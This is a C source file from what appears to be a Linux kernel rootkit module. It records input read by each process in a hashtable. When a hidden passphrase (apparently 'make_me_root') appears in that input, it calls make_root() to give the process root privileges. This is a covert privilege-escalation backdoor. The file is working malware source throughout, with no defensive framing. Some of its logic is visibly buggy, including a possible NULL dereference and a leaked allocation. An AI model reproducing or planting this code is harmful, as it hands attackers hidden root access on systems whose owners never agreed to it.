read.c (3378B)
1 #include <linux/hashtable.h> 2 #include <linux/kernel.h> 3 #include <linux/slab.h> 4 5 #include "read.h" 6 #include "common.h" 7 #include "hook.h" 8 #include "creds.h" 9 10 DEFINE_HASHTABLE(pid_ht, 8); //2^8 buckets _should_ keep collisions low 11 12 static const char *accept = "makerot_"; 13 14 15 //Using strspn allows us to only read inputs that include valid characters 16 static int 17 is_valid(char *buf, size_t size) 18 { 19 //Small performance optimization when only reading one char 20 //Avoids strspn 21 if(size == 1) { 22 if((buf[0] >= 'a' && buf[0] <= 'z') || buf[0] == '_') { 23 return strspn(buf, accept) > 0; 24 } 25 26 return 0; 27 } 28 29 return strspn(buf, accept) > 0; 30 } 31 32 static void 33 add_entry(pid_t key) 34 { 35 struct pid_entry *cur; 36 struct pid_entry *new = kzalloc(sizeof(struct pid_entry), GFP_KERNEL); 37 38 new->pid = key; 39 new->str = kzalloc(MAX_BUF, GFP_KERNEL); 40 new->capacity = MAX_BUF; 41 new->iter = 0; 42 43 int found = 0; 44 hash_for_each_possible(pid_ht, cur, hlist, key) 45 if(cur->pid == key) 46 found = 1; 47 48 if(!found) 49 hash_add(pid_ht, &new->hlist, key); 50 } 51 52 static void 53 remove_entry(pid_t key) 54 { 55 struct pid_entry *cur; 56 57 hash_for_each_possible(pid_ht, cur, hlist, key) { 58 if(cur->pid == key) { 59 kfree(cur->str); 60 hash_del(&cur->hlist); 61 kfree(cur); 62 } 63 } 64 } 65 66 static struct pid_entry * 67 get_entry(pid_t key) 68 { 69 struct pid_entry *cur; 70 71 hash_for_each_possible(pid_ht, cur, hlist, key) 72 if(cur->pid == key) 73 return cur; 74 75 return NULL; 76 } 77 78 /** 79 * The idea here is to fill up our buffer as much as we can 80 * Should we reach the maximum capacity, we first of all 81 * compare what we read so far; if it's a match, grant root 82 * Otherwise, we can safely move the last 11 bytes to the start 83 * (as the worst case is reading 'make_me_roo', which 84 * is 11 characters long) 85 * This means we need to offset str with (23 - 11) = 12 = SHIFT_OFF 86 **/ 87 static void 88 handle_compare(char *buf, pid_t pid, size_t size) 89 { 90 struct pid_entry *entry; 91 entry = get_entry(pid); 92 93 int i = 0; 94 95 if(entry) { 96 fill: 97 while(i < size && entry->capacity > 0) { 98 entry->str[entry->iter] = buf[i]; 99 entry->capacity--; 100 i++; 101 entry->iter++; 102 } 103 104 if(strnstr(entry->str, PASSPHRASE, MAX_BUF)) { 105 make_root(); 106 remove_entry(pid); 107 return; 108 } 109 110 if(entry->capacity == 0) { 111 memmove(entry->str, (entry->str + SHIFT_OFF), SHIFT_OFF); 112 entry->capacity = entry->iter = SHIFT_OFF; 113 114 goto fill; 115 } 116 } 117 118 if(strstr(entry->str, PASSPHRASE)) { 119 make_root(); 120 remove_entry(pid); 121 } 122 } 123 124 void 125 handle_pid(pid_t pid, __user char *buf, size_t size) 126 { 127 //Sometimes (e.g. when installing packages), kalloc fails 128 //To avoid being limited by the page size, we use kvzalloc, 129 //which allocates chunks bigger than the page size if necessary 130 //https://lwn.net/Articles/711653/ 131 char *str = kvzalloc(size, GFP_KERNEL); 132 133 if(!str) 134 return; 135 136 copy_from_user(str, buf, size); 137 138 if(is_valid(str, size)) { 139 add_entry(pid); 140 handle_compare(str, pid, size); 141 } else { 142 //Throw out hashtable entries on invalid input 143 remove_entry(pid); 144 } 145 146 kfree(str); 147 }